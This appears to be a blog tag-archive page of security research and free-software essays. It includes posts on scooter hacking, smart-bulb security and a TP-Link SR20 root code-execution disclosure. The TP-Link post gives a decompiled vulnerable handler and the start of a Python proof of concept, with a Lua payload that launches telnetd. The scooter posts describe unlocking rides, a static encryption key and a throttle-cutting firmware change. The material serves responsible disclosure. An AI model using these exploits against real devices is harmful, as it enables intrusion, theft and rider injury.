Tag Archives: advogato

Extending proprietary PC embedded controller firmware

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/53703.html

I’m still playing with my X210, a device that just keeps coming up with new ways to teach me things. I’m now running Coreboot full time, so the majority of the runtime platform firmware is free software. Unfortunately, the firmware that’s running on the embedded controller (a separate chip that’s awake even when the rest of the system is asleep and which handles stuff like fan control, battery charging, transitioning into different power states and so on) is proprietary and the manufacturer of the chip won’t release data sheets for it. This was disappointing, because the stock EC firmware is kind of annoying (there’s no hysteresis on the fan control, so it hits a threshold, speeds up, drops below the threshold, turns off, and repeats every few seconds – also, a bunch of the Thinkpad hotkeys don’t do anything) and it would be nice to be able to improve it.

A few months ago someone posted a bunch of fixes, a Ghidra project and a kernel patch that lets you overwrite the EC’s code at runtime for purposes of experimentation. This seemed promising. Some amount of playing later and I’d produced a patch that generated keyboard scancodes for all the missing hotkeys, and I could then use udev to map those scancodes to the keycodes that the thinkpad_acpi driver would generate. I finally had a hotkey to tell me how much battery I had left.

But something else included in that post was a list of the GPIO mappings on the EC. A whole bunch of hardware on the board is connected to the EC in ways that allow it to control them, including things like disabling the backlight or switching the wifi card to airplane mode. Unfortunately the ACPI spec doesn’t cover how to control GPIO lines attached to the embedded controller – the only real way we have to communicate is via a set of registers that the EC firmware interprets and does stuff with.

One of those registers in the vendor firmware for the X210 looked promising, with individual bits that looked like radio control. Unfortunately writing to them does nothing – the EC firmware simply stashes that write in an address and returns it on read without parsing the bits in any way. Doing anything more with them was going to involve modifying the embedded controller code.

Thankfully the EC has 64K of firmware and is only using about 40K of that, so there’s plenty of room to add new code. The problem was generating the code in the first place and then getting it called. The EC is based on the CR16C architecture, which binutils supported until 10 days ago. To be fair it didn’t appear to actually work, and binutils still has support for the more generic version of the CR16 family, so I built a cross assembler, wrote some assembly and came up with something that Ghidra was willing to parse except for one thing.

As mentioned previously, the existing firmware code responded to writes to this register by saving it to its RAM. My plan was to stick my new code in unused space at the end of the firmware, including code that duplicated the firmware’s existing functionality. I could then replace the existing code that stored the register value with code that branched to my code, did whatever I wanted and then branched back to the original code. I hacked together some assembly that did the right thing in the most brute force way possible, but while Ghidra was happy with most of the code it wasn’t happy with the instruction that branched from the original code to the new code, or the instruction at the end that returned to the original code. The branch instruction differs from a jump instruction in that it gives a relative offset rather than an absolute address, which means that branching to nearby code can be encoded in fewer bytes than going further. I was specifying the longest jump encoding possible in my assembly (that’s what the :l means), but the linker was rewriting that to a shorter one. Ghidra was interpreting the shorter branch as a negative offset, and it wasn’t clear to me whether this was a binutils bug or a Ghidra bug. I ended up just hacking that code out of binutils so it generated code that Ghidra was happy with and got on with life.

Writing values directly to that EC register showed that it worked, which meant I could add an ACPI device that exposed the functionality to the OS. My goal here is to produce a standard Coreboot radio control device that other Coreboot platforms can implement, and then just write a single driver that exposes it. I wrote one for Linux that seems to work.

In summary: closed-source code is more annoying to improve, but that doesn’t mean it’s impossible. Also, strange Russians on forums make everything easier.

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Letting Birds scooters fly free

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/53258.html

(Note: These issues were disclosed to Bird, and they tell me that fixes have rolled out. I haven’t independently verified)

Bird produce a range of rental scooters that are available in multiple markets. With the exception of the Bird Zero[1], all their scooters share a common control board described in FCC filings. The board contains three primary components – a Nordic NRF52 Bluetooth controller, an STM32 SoC and a Quectel EC21-V modem. The Bluetooth and modem are both attached to the STM32 over serial and have no direct control over the rest of the scooter. The STM32 is tied to the scooter’s engine control unit and lights, and also receives input from the throttle (and, on some scooters, the brakes).

The pads labeled TP7-TP11 near the underside of the STM32 and the pads labeled TP1-TP5 near the underside of the NRF52 provide Serial Wire Debug, although confusingly the data and clock pins are the opposite way around between the STM and the NRF. Hooking this up via an STLink and using OpenOCD allows dumping of the firmware from both chips, which is where the fun begins. Running strings over the firmware from the STM32 revealed “Set mode to Free Drive Mode”. Challenge accepted.

Working back from the code that printed that, it was clear that commands could be delivered to the STM from the Bluetooth controller. The Nordic NRF52 parts are an interesting design – like the STM, they have an ARM Cortex-M microcontroller core. Their firmware is split into two halves, one the low level Bluetooth code and the other application code. They provide an SDK for writing the application code, and working through Ghidra made it clear that the majority of the application firmware on this chip was just SDK code. That made it easier to find the actual functionality, which was just listening for writes to a specific BLE attribute and then hitting a switch statement depending on what was sent. Most of these commands just got passed over the wire to the STM, so it seemed simple enough to just send the “Free drive mode” command to the Bluetooth controller, have it pass that on to the STM and win. Obviously, though, things weren’t so easy.

It turned out that passing most of the interesting commands on to the STM was conditional on a variable being set, and the code path that hit that variable had some impressively complicated looking code. Fortunately, I got lucky – the code referenced a bunch of data, and searching for some of the values in that data revealed that they were the AES S-box values. Enabling the full set of commands required you to send an encrypted command to the scooter, which would then decrypt it and verify that the cleartext contained a specific value. Implementing this would be straightforward as long as I knew the key.

Most AES keys are 128 bits, or 16 bytes. Digging through the code revealed 8 bytes worth of key fairly quickly, but the other 8 bytes were less obvious. I finally figured out that 4 more bytes were the value of another Bluetooth variable which could be simply read out by a client. The final 4 bytes were more confusing, because all the evidence made no sense. It looked like it came from passing the scooter serial number to atoi(), which converts an ASCII representation of a number to an integer. But this seemed wrong, because atoi() stops at the first non-numeric value and the scooter serial numbers all started with a letter[2]. It turned out that I was overthinking it and for the vast majority of scooters in the fleet, this section of the key was always “0”.

At that point I had everything I need to write a simple app to unlock the scooters, and it worked! For about 2 minutes, at which point the network would notice that the scooter was unlocked when it should be locked and sent a lock command to force disable the scooter again. Ah well.

So, what else could I do? The next thing I tried was just modifying some STM firmware and flashing it onto a board. It still booted, indicating that there was no sort of verified boot process. Remember what I mentioned about the throttle being hooked through the STM32’s analogue to digital converters[3]? A bit of hacking later and I had a board that would appear to work normally, but about a minute after starting the ride would cut the throttle. Alternative options are left as an exercise for the reader.

Finally, there was the component I hadn’t really looked at yet. The Quectel modem actually contains its own application processor that runs Linux, making it significantly more powerful than any of the chips actually running the scooter application[4]. The STM communicates with the modem over serial, sending it an AT command asking it to make an SSL connection to a remote endpoint. It then uses further AT commands to send data over this SSL connection, allowing it to talk to the internet without having any sort of IP stack. Figuring out just what was going over this connection was made slightly difficult by virtue of all the debug functionality having been ripped out of the STM’s firmware, so in the end I took a more brute force approach – I identified the address of the function that sends data to the modem, hooked up OpenOCD to the SWD pins on the STM, ran OpenOCD’s gdb stub, attached gdb, set a breakpoint for that function and then dumped the arguments being passed to that function. A couple of minutes later and I had a full transaction between the scooter and the remote.

The scooter authenticates against the remote endpoint by sending its serial number and IMEI. You need to send both, but the IMEI didn’t seem to need to be associated with the serial number at all. New connections seemed to take precedence over existing connections, so it would be simple to just pretend to be every scooter and hijack all the connections, resulting in scooter unlock commands being sent to you rather than to the scooter or allowing someone to send fake GPS data and make it impossible for users to find scooters.

In summary: Secrets that are stored on hardware that attackers can run arbitrary code on probably aren’t secret, not having verified boot on safety critical components isn’t ideal, devices should have meaningful cryptographic identity when authenticating against a remote endpoint.

Bird responded quickly to my reports, accepted my 90 day disclosure period and didn’t threaten to sue me at any point in the process, so good work Bird.

(Hey scooter companies I will absolutely accept gifts of interesting hardware in return for a cursory security audit)

[1] And some very early M365 scooters
[2] The M365 scooters that Bird originally deployed did have numeric serial numbers, but they were 6 characters of type code followed by a / followed by the actual serial number – the number of type codes was very constrained and atoi() would terminate at the / so this was still not a large keyspace
[3] Interestingly, Lime made a different design choice here and plumb the controls directly through to the engine control unit without the application processor having any involvement
[4] Lime run their entire software stack on the modem’s application processor, but because of [3] they don’t have any realtime requirements so this is more straightforward

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Investigating the security of Lime scooters

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/53024.html

(Note: to be clear, this vulnerability does not exist in the current version of the software on these scooters. Also, this is not the topic of my Kawaiicon talk.)

I’ve been looking at the security of the Lime escooters. These caught my attention because:
(1) There’s a whole bunch of them outside my building, and
(2) I can see them via Bluetooth from my sofa
which, given that I’m extremely lazy, made them more attractive targets than something that would actually require me to leave my home. I did some digging. Limes run Linux and have a single running app that’s responsible for scooter management. They have an internal debug port that exposes USB and which, until this happened, ran adb (as root!) over this USB. As a result, there’s a fair amount of information available in various places, which made it easier to start figuring out how they work.

The obvious attack surface is Bluetooth (Limes have wifi, but only appear to use it to upload lists of nearby wifi networks, presumably for geolocation if they can’t get a GPS fix). Each Lime broadcasts its name as Lime-12345678 where 12345678 is 8 digits of hex. They implement Bluetooth Low Energy and expose a custom service with various attributes. One of these attributes (0x35 on at least some of them) sends Bluetooth traffic to the application processor, which then parses it. This is where things get a little more interesting. The app has a core event loop that can take commands from multiple sources and then makes a decision about which component to dispatch them to. Each command is of the following form:

AT+type,password,time,sequence,data$

where type is one of either ATH, QRY, CMD or DBG. The password is a TOTP derived from the IMEI of the scooter, the time is simply the current date and time of day, the sequence is a monotonically increasing counter and the data is a blob of JSON. The command is terminated with a $ sign. The code is fairly agnostic about where the command came from, which means that you can send the same commands over Bluetooth as you can over the cellular network that the Limes are connected to. Since locking and unlocking is triggered by one of these commands being sent over the network, it ought to be possible to do the same by pushing a command over Bluetooth.

Unfortunately for nefarious individuals, all commands sent over Bluetooth are ignored until an authentication step is performed. The code I looked at had two ways of performing authentication – you could send an authentication token that was derived from the scooter’s IMEI and the current time and some other stuff, or you could send a token that was just an HMAC of the IMEI and a static secret. Doing the latter was more appealing, both because it’s simpler and because doing so flipped the scooter into manufacturing mode at which point all other command validation was also disabled (bye bye having to generate a TOTP). But how do we get the IMEI? There’s actually two approaches:

1) Read it off the sticker that’s on the side of the scooter (obvious, uninteresting)
2) Take advantage of how the scooter’s Bluetooth name is generated

Remember the 8 digits of hex I mentioned earlier? They’re generated by taking the IMEI, encrypting it using DES and a static key (0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88), discarding the first 4 bytes of the output and turning the last 4 bytes into 8 digits of hex. Since we’re discarding information, there’s no way to immediately reverse the process – but IMEIs for a given manufacturer are all allocated from the same range, so we can just take the entire possible IMEI space for the modem chipset Lime use, encrypt all of them and end up with a mapping of name to IMEI (it turns out this doesn’t guarantee that the mapping is unique – for around 0.01%, the same name maps to two different IMEIs). So we now have enough information to generate an authentication token that we can send over Bluetooth, which disables all further authentication and enables us to send further commands to disconnect the scooter from the network (so we can’t be tracked) and then unlock and enable the scooter.

(Note: these are actual crimes)

This all seemed very exciting, but then a shock twist occurred – earlier this year, Lime updated their authentication method and now there’s actual asymmetric cryptography involved and you’d need to engage in rather more actual crimes to obtain the key material necessary to authenticate over Bluetooth, and all of this research becomes much less interesting other than as an example of how other companies probably shouldn’t do it.

In any case, congratulations to Lime on actually implementing security!

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Do we need to rethink what free software is?

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/52907.html

Licensing has always been a fundamental tool in achieving free software’s goals, with copyleft licenses deliberately taking advantage of copyright to ensure that all further recipients of software are in a position to exercise free software’s four essential freedoms. Recently we’ve seen people raising two very different concerns around existing licenses and proposing new types of license as remedies, and while both are (at present) incompatible with our existing concepts of what free software is, they both raise genuine issues that the community should seriously consider.

The first is the rise in licenses that attempt to restrict business models based around providing software as a service. If users can pay Amazon to provide a hosted version of a piece of software, there’s little incentive for them to pay the authors of that software. This has led to various projects adopting license terms such as the Commons Clause that effectively make it nonviable to provide such a service, forcing providers to pay for a commercial use license instead.

In general the entities pushing for these licenses are VC backed companies[1] who are themselves benefiting from free software written by volunteers that they give nothing back to, so I have very little sympathy. But it does raise a larger issue – how do we ensure that production of free software isn’t just a mechanism for the transformation of unpaid labour into corporate profit? I’m fortunate enough to be paid to write free software, but many projects of immense infrastructural importance are simultaneously fundamental to multiple business models and also chronically underfunded. In an era where people are becoming increasingly vocal about wealth and power disparity, this obvious unfairness will result in people attempting to find mechanisms to impose some degree of balance – and given the degree to which copyleft licenses prevented certain abuses of the commons, it’s likely that people will attempt to do so using licenses.

At the same time, people are spending more time considering some of the other ethical outcomes of free software. Copyleft ensures that you can share your code with your neighbour without your neighbour being able to deny the same freedom to others, but it does nothing to prevent your neighbour using your code to deny other fundamental, non-software, freedoms. As governments make more and more use of technology to perform acts of mass surveillance, detention, and even genocide, software authors may feel legitimately appalled at the idea that they are helping enable this by allowing their software to be used for any purpose. The JSON license includes a requirement that “The Software shall be used for Good, not Evil”, but the lack of any meaningful clarity around what “Good” and “Evil” actually mean makes it hard to determine whether it achieved its aims.

The definition of free software includes the assertion that it must be possible to use the software for any purpose. But if it is possible to use software in such a way that others lose their freedom to exercise those rights, is this really the standard we should be holding? Again, it’s unsurprising that people will attempt to solve this problem through licensing, even if in doing so they no longer meet the current definition of free software.

I don’t have solutions for these problems, and I don’t know for sure that it’s possible to solve them without causing more harm than good in the process. But in the absence of these issues being discussed within the free software community, we risk free software being splintered – on one side, with companies imposing increasingly draconian licensing terms in an attempt to prop up their business models, and on the other side, with people deciding that protecting people’s freedom to life, liberty and the pursuit of happiness is more important than protecting their freedom to use software to deny those freedoms to others.

As stewards of the free software definition, the Free Software Foundation should be taking the lead in ensuring that these issues are discussed. The priority of the board right now should be to restructure itself to ensure that it can legitimately claim to represent the community and play the leadership role it’s been failing to in recent years, otherwise the opportunity will be lost and much of the activist energy that underpins free software will be spent elsewhere.

If free software is going to maintain relevance, it needs to continue to explain how it interacts with contemporary social issues. If any organisation is going to claim to lead the community, it needs to be doing that.

[1] Plus one VC firm itself – Bain Capital, an investment firm notorious for investing in companies, extracting as much value as possible and then allowing the companies to go bankrupt

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It’s time to talk about post-RMS Free Software

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/52587.html

Richard Stallman has once again managed to demonstrate incredible insensitivity[1]. There’s an argument that in a pure technical universe this is irrelevant and we should instead only consider what he does in free software[2], but free software isn’t a purely technical topic – the GNU Manifesto is nakedly political, and while free software may result in better technical outcomes it is fundamentally focused on individual freedom and will compromise on technical excellence if otherwise the result would be any compromise on those freedoms. And in a political movement, there is no way that we can ignore the behaviour and beliefs of that movement’s leader. Stallman is driving away our natural allies. It’s inappropriate for him to continue as the figurehead for free software.

But I’m not calling for Stallman to be replaced. If the history of social movements has taught us anything, it’s that tying a movement to a single individual is a recipe for disaster. The FSF needs a president, but there’s no need for that person to be a leader – instead, we need to foster an environment where any member of the community can feel empowered to speak up about the importance of free software. A decentralised movement about returning freedoms to individuals can’t also be about elevating a single individual to near-magical status. Heroes will always end up letting us down. We fix that by removing the need for heroes in the first place, not attempting to find increasingly perfect heroes.

Stallman was never going to save us. We need to take responsibility for saving ourselves. Let’s talk about how we do that.

[1] There will doubtless be people who will leap to his defense with the assertion that he’s neurodivergent and all of these cases are consequences of that.

(A) I am unaware of a formal diagnosis of that, and I am unqualified to make one myself. I suspect that basically everyone making that argument is similarly unqualified.
(B) I’ve spent a lot of time working with him to help him understand why various positions he holds are harmful. I’ve reached the conclusion that it’s not that he’s unable to understand, he’s just unwilling to change his mind.

[2] This argument is, obviously, bullshit

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Bug bounties and NDAs are an option, not the standard

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/52432.html

Zoom had a vulnerability that allowed users on MacOS to be connected to a video conference with their webcam active simply by visiting an appropriately crafted page. Zoom’s response has largely been to argue that:

a) There’s a setting you can toggle to disable the webcam being on by default, so this isn’t a big deal,
b) When Safari added a security feature requiring that users explicitly agree to launch Zoom, this created a poor user experience and so they were justified in working around this (and so introducing the vulnerability), and,
c) The submitter asked whether Zoom would pay them for disclosing the bug, and when Zoom said they’d only do so if the submitter signed an NDA, they declined.

(a) and (b) are clearly ludicrous arguments, but (c) is the interesting one. Zoom go on to mention that they disagreed with the severity of the issue, and in the end decided not to change how their software worked. If the submitter had agreed to the terms of the NDA, then Zoom’s decision that this was a low severity issue would have led to them being given a small amount of money and never being allowed to talk about the vulnerability. Since Zoom apparently have no intention of fixing it, we’d presumably never have heard about it. Users would have been less informed, and the world would have been a less secure place.

The point of bug bounties is to provide people with an additional incentive to disclose security issues to companies. But what incentive are they offering? Well, that depends on who you are. For many people, the amount of money offered by bug bounty programs is meaningful, and agreeing to sign an NDA is worth it. For others, the ability to publicly talk about the issue is worth more than whatever the bounty may award – being able to give a presentation on the vulnerability at a high profile conference may be enough to get you a significantly better paying job. Others may be unwilling to sign an NDA on principle, refusing to trust that the company will ever disclose the issue or fix the vulnerability. And finally there are people who can’t sign such an NDA – they may have discovered the issue on work time, and employer policies may prohibit them doing so.

Zoom are correct that it’s not unusual for bug bounty programs to require NDAs. But when they talk about this being an industry standard, they come awfully close to suggesting that the submitter did something unusual or unreasonable in rejecting their bounty terms. When someone lets you know about a vulnerability, they’re giving you an opportunity to have the issue fixed before the public knows about it. They’ve done something they didn’t need to do – they could have just publicly disclosed it immediately, causing significant damage to your reputation and potentially putting your customers at risk. They could potentially have sold the information to a third party. But they didn’t – they came to you first. If you want to offer them money in order to encourage them (and others) to do the same in future, then that’s great. If you want to tie strings to that money, that’s a choice you can make – but there’s no reason for them to agree to those strings, and if they choose not to then you don’t get to complain about that afterwards. And if they make it clear at the time of submission that they intend to publicly disclose the issue after 90 days, then they’re acting in accordance with widely accepted norms. If you’re not able to fix an issue within 90 days, that’s very much your problem.

If your bug bounty requires people sign an NDA, you should think about why. If it’s so you can control disclosure and delay things beyond 90 days (and potentially never disclose at all), look at whether the amount of money you’re offering for that is anywhere near commensurate with the value the submitter could otherwise gain from the information and compare that to the reputational damage you’ll take from people deciding that it’s not worth it and just disclosing unilaterally. And, seriously, never ask for an NDA before you’re committing to a specific $ amount – it’s never reasonable to ask that someone sign away their rights without knowing exactly what they’re getting in return.

tl;dr – a bug bounty should only be one component of your vulnerability reporting process. You need to be prepared for people to decline any restrictions you wish to place on them, and you need to be prepared for them to disclose on the date they initially proposed. If they give you 90 days, that’s entirely within industry norms. Remember that a bargain is being struck here – you offering money isn’t being generous, it’s you attempting to provide an incentive for people to help you improve your security. If you’re asking people to give up more than you’re offering in return, don’t be surprised if they say no.

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Creating hardware where no hardware exists

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/52149.html

The laptop industry was still in its infancy back in 1990, but it still faced a core problem that we do today – power and thermal management are hard, but also critical to a good user experience (and potentially to the lifespan of the hardware). This is in the days where DOS and Windows had no memory protection, so handling these problems at the OS level would have been an invitation for someone to overwrite your management code and potentially kill your laptop. The safe option was pushing all of this out to an external management controller of some sort, but vendors in the 90s were the same as vendors now and would do basically anything to avoid having to drop an extra chip on the board. Thankfully(?), Intel had a solution.

The 386SL was released in October 1990 as a low-powered mobile-optimised version of the 386. Critically, it included a feature that let vendors ensure that their power management code could run without OS interference. A small window of RAM was hidden behind the VGA memory[1] and the CPU configured so that various events would cause the CPU to stop executing the OS and jump to this protected region. It could then do whatever power or thermal management tasks were necessary and return control to the OS, which would be none the wiser. Intel called this System Management Mode, and we’ve never really recovered.

Step forward to the late 90s. USB is now a thing, but even the operating systems that support USB usually don’t in their installers (and plenty of operating systems still didn’t have USB drivers). The industry needed a transition path, and System Management Mode was there for them. By configuring the chipset to generate a System Management Interrupt (or SMI) whenever the OS tried to access the PS/2 keyboard controller, the CPU could then trap into some SMM code that knew how to talk to USB, figure out what was going on with the USB keyboard, fake up the results and pass them back to the OS. As far as the OS was concerned, it was talking to a normal keyboard controller – but in reality, the “hardware” it was talking to was entirely implemented in software on the CPU.

Since then we’ve seen even more stuff get crammed into SMM, which is annoying because in general it’s much harder for an OS to do interesting things with hardware if the CPU occasionally stops in order to run invisible code to touch hardware resources you were planning on using, and that’s even ignoring the fact that operating systems in general don’t really appreciate the entire world stopping and then restarting some time later without any notification. So, overall, SMM is a pain for OS vendors.

Change of topic. When Apple moved to x86 CPUs in the mid 2000s, they faced a problem. Their hardware was basically now just a PC, and that meant people were going to try to run their OS on random PC hardware. For various reasons this was unappealing, and so Apple took advantage of the one significant difference between their platforms and generic PCs. x86 Macs have a component called the System Management Controller that (ironically) seems to do a bunch of the stuff that the 386SL was designed to do on the CPU. It runs the fans, it reports hardware information, it controls the keyboard backlight, it does all kinds of things. So Apple embedded a string in the SMC, and the OS tries to read it on boot. If it fails, so does boot[2]. Qemu has a driver that emulates enough of the SMC that you can provide that string on the command line and boot OS X in qemu, something that’s documented further here.

What does this have to do with SMM? It turns out that you can configure x86 chipsets to trap into SMM on arbitrary IO port ranges, and older Macs had SMCs in IO port space[3]. After some fighting with Intel documentation[4] I had Coreboot’s SMI handler responding to writes to an arbitrary IO port range. With some more fighting I was able to fake up responses to reads as well. And then I took qemu’s SMC emulation driver and merged it into Coreboot’s SMM code. Now, accesses to the IO port range that the SMC occupies on real hardware generate SMIs, trap into SMM on the CPU, run the emulation code, handle writes, fake up responses to reads and return control to the OS. From the OS’s perspective, this is entirely invisible[5]. We’ve created hardware where none existed.

The tree where I’m working on this is here, and I’ll see if it’s possible to clean this up in a reasonable way to get it merged into mainline Coreboot. Note that this only handles the SMC – actually booting OS X involves a lot more, but that’s something for another time.

[1] If the OS attempts to access this range, the chipset directs it to the video card instead of to actual RAM.
[2] It’s actually more complicated than that – see here for more.
[3] IO port space is a weird x86 feature where there’s an entire separate IO bus that isn’t part of the memory map and which requires different instructions to access. It’s low performance but also extremely simple, so hardware that has no performance requirements is often implemented using it.
[4] Some current Intel hardware has two sets of registers defined for setting up which IO ports should trap into SMM. I can’t find anything that documents what the relationship between them is, but if you program the obvious ones nothing happens and if you program the ones that are hidden in the section about LPC decoding ranges things suddenly start working.
[5] Eh technically a sufficiently enthusiastic OS could notice that the time it took for the access to occur didn’t match what it should on real hardware, or could look at the CPU’s count of the number of SMIs that have occurred and correlate that with accesses, but good enough

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Which smart bulbs should you buy (from a security perspective)

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/51910.html

People keep asking me which smart bulbs they should buy. It’s a great question! As someone who has, for some reason, ended up spending a bunch of time reverse engineering various types of lightbulb, I’m probably a reasonable person to ask. So. There are four primary communications mechanisms for bulbs: wifi, bluetooth, zigbee and zwave. There’s basically zero compelling reasons to care about zwave, so I’m not going to.

Wifi

Advantages: Doesn’t need an additional hub – you can just put the bulbs wherever. The bulbs can connect out to a cloud service, so you can control them even if you’re not on the same network.
Disadvantages: Only works if you have wifi coverage, each bulb has to have wifi hardware and be configured appropriately.
Which should you get: If you search Amazon for “wifi bulb” you’ll get a whole bunch of cheap bulbs. Don’t buy any of them. They’re mostly based on a custom protocol from Zengge and they’re shit. Colour reproduction is bad, there’s no good way to use the colour LEDs and the white LEDs simultaneously, and if you use any of the vendor apps they’ll proxy your device control through a remote server with terrible authentication mechanisms. Just don’t. The ones that aren’t Zengge are generally based on the Tuya platform, whose security model is to have keys embedded in some incredibly obfuscated code and hope that nobody can find them. TP-Link make some reasonably competent bulbs but also use a weird custom protocol with hand-rolled security. Eufy are fine but again there’s weird custom security. Lifx are the best bulbs, but have zero security on the local network – anyone on your wifi can control the bulbs. If that’s something you care about then they’re a bad choice, but also if that’s something you care about maybe just don’t let people you don’t trust use your wifi.
Conclusion: If you have to use wifi, go with lifx. Their security is not meaningfully worse than anything else on the market (and they’re better than many), and they’re better bulbs. But you probably shouldn’t go with wifi.

Bluetooth

Advantages: Doesn’t need an additional hub. Doesn’t need wifi coverage. Doesn’t connect to the internet, so remote attack is unlikely.
Disadvantages: Only one control device at a time can connect to a bulb, so harder to share. Control device needs to be in Bluetooth range of the bulb. Doesn’t connect to the internet, so you can’t control your bulbs remotely.
Which should you get: Again, most Bluetooth bulbs you’ll find on Amazon are shit. There’s a whole bunch of weird custom protocols and the quality of the bulbs is just bad. If you’re going to go with anything, go with the C by GE bulbs. Their protocol is still some AES-encrypted custom binary thing, but they use a Bluetooth controller from Telink that supports a mesh network protocol. This means that you can talk to any bulb in your network and still send commands to other bulbs – the dual advantages here are that you can communicate with bulbs that are outside the range of your control device and also that you can have as many control devices as you have bulbs. If you’ve bought into the Google Home ecosystem, you can associate them directly with a Home and use Google Assistant to control them remotely. GE also sell a wifi bridge – I have one, but haven’t had time to review it yet, so make no assertions around its competence. The colour bulbs are also disappointing, with much dimmer colour output than white output.

Zigbee

Advantages: Zigbee is a mesh protocol, so bulbs can forward messages to each other. The bulbs are also pretty cheap. Zigbee is a standard, so you can obtain bulbs from several vendors that will then interoperate – unfortunately there are actually two separate standards for Zigbee bulbs, and you’ll sometimes find yourself with incompatibility issues there.
Disadvantages: Your phone doesn’t have a Zigbee radio, so you can’t communicate with the bulbs directly. You’ll need a hub of some sort to bridge between IP and Zigbee. The ecosystem is kind of a mess, and you may have weird incompatibilities.
Which should you get: Pretty much every vendor that produces Zigbee bulbs also produces a hub for them. Don’t get the Sengled hub – anyone on the local network can perform arbitrary unauthenticated command execution on it. I’ve previously recommended the Ikea Tradfri, which at the time only had local control. They’ve since added remote control support, and I haven’t investigated that in detail. But overall, I’d go with the Philips Hue. Their colour bulbs are simply the best on the market, and their security story seems solid – performing a factory reset on the hub generates a new keypair, and adding local control users requires a physical button press on the hub to allow pairing. Using the Philips hub doesn’t tie you into only using Philips bulbs, but right now the Philips bulbs tend to be as cheap (or cheaper) than anything else.

But what about

If you’re into tying together all kinds of home automation stuff, then either go with Smartthings or roll your own with Home Assistant. Both are definitely more effort if you only want lighting.

My priority is software freedom

Excellent! There are various bulbs that can run the Espurna or AiLight firmwares, but you’ll have to deal with flashing them yourself. You can tie that into Home Assistant and have a completely free stack. If you’re ok with your bulbs being proprietary, Home Assistant can speak to most types of bulb without an additional hub (you’ll need a supported Zigbee USB stick to control Zigbee bulbs), and will support the C by GE ones as soon as I figure out why my Bluetooth transmissions stop working every so often.

Conclusion

Outside niche cases, just buy a Hue. Philips have done a genuinely good job. Don’t buy cheap wifi bulbs. Don’t buy a Sengled hub.

(Disclaimer: I mentioned a Google product above. I am a Google employee, but do not work on anything related to Home.)

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Remote code execution as root from the local network on TP-Link SR20 routers

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/51672.html

The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign – popen() passes its argument directly to the shell, so if there’s any way to get user controlled input into a popen() call you’re basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Tddp is the TP-Link Device Debug Protocol. It runs on most TP-Link devices in one form or another, but different devices have different functionality. What is common is the protocol, which has been previously described. The interesting thing is that while version 2 of the protocol is authenticated and requires knowledge of the admin password on the router, version 1 is unauthenticated.

Dumping tddp into Ghidra makes it pretty easy to find a function that calls recvfrom(), the call that copies information from a network socket. It looks at the first byte of the packet and uses this to determine which protocol is in use, and passes the packet on to a different dispatcher depending on the protocol version. For version 1, the dispatcher just looks at the second byte of the packet and calls a different function depending on its value. 0x31 is CMD_FTEST_CONFIG, and this is where things get super fun.

Here’s a cut down decompilation of the function:

int ftest_config(char *byte) {
  int lua_State;
  char *remote_address;
  int err;
  int luaerr;
  char filename[64]
  char configFile[64];
  char luaFile[64];
  int attempts;
  char *payload;

  attempts = 4;
  memset(luaFile,0,0x40);
  memset(configFile,0,0x40);
  memset(filename,0,0x40);
  lua_State = luaL_newstart();
  payload = iParm1 + 0xb027;
  if (payload != 0x00) {
    sscanf(payload,"%[^;];%s",luaFile,configFile);
    if ((luaFile[0] == 0) || (configFile[0] == 0)) {
      printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
    }
    else {
      remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
      tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);
      sprintf(filename,"/tmp/%s",luaFile);
      while (0 < attempts) {
        sleep(1);
        err = access(filename,0);
        if (err == 0) break;
        attempts = attempts + -1;
      }
      if (attempts == 0) {
        printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
      }
      else {
        if (lua_State != 0) {
          luaL_openlibs(lua_State);
          luaerr = luaL_loadfile(lua_State,filename);
          if (luaerr == 0) {
            luaerr = lua_pcall(lua_State,0,0xffffffff,0);
          }
          lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
          lua_pushstring(lua_State,configFile);
          lua_pushstring(lua_State,remote_address);
          lua_call(lua_State,2,1);
        }
        lua_close(lua_State);
      }
    }
  }
}

Basically, this function parses the packet for a payload containing two strings separated by a semicolon. The first string is a filename, the second a configfile. It then calls tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address) which executes the tftp command in the background. This connects back to the machine that sent the command and attempts to download a file via tftp corresponding to the filename it sent. The main tddp process waits up to 4 seconds for the file to appear – once it does, it loads the file into a Lua interpreter it initialised earlier, and calls the function config_test() with the name of the config file and the remote address as arguments. Since config_test() is provided by the file that was downloaded from the remote machine, this gives arbitrary code execution in the interpreter, which includes the os.execute method which just runs commands on the host. Since tddp is running as root, you get arbitrary command execution as root.

I reported this to TP-Link in December via their security disclosure form, a process that was made difficult by the “Detailed description” field being limited to 500 characters. The page informed me that I’d hear back within three business days – a couple of weeks later, with no response, I tweeted at them asking for a contact and heard nothing back. Someone else’s attempt to report tddp vulnerabilities had a similar outcome, so here we are.

There’s a couple of morals here:

  • Don’t default to running debug daemons on production firmware seriously how hard is this
  • If you’re going to have a security disclosure form, read it

Proof of concept:

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
 
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
 
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
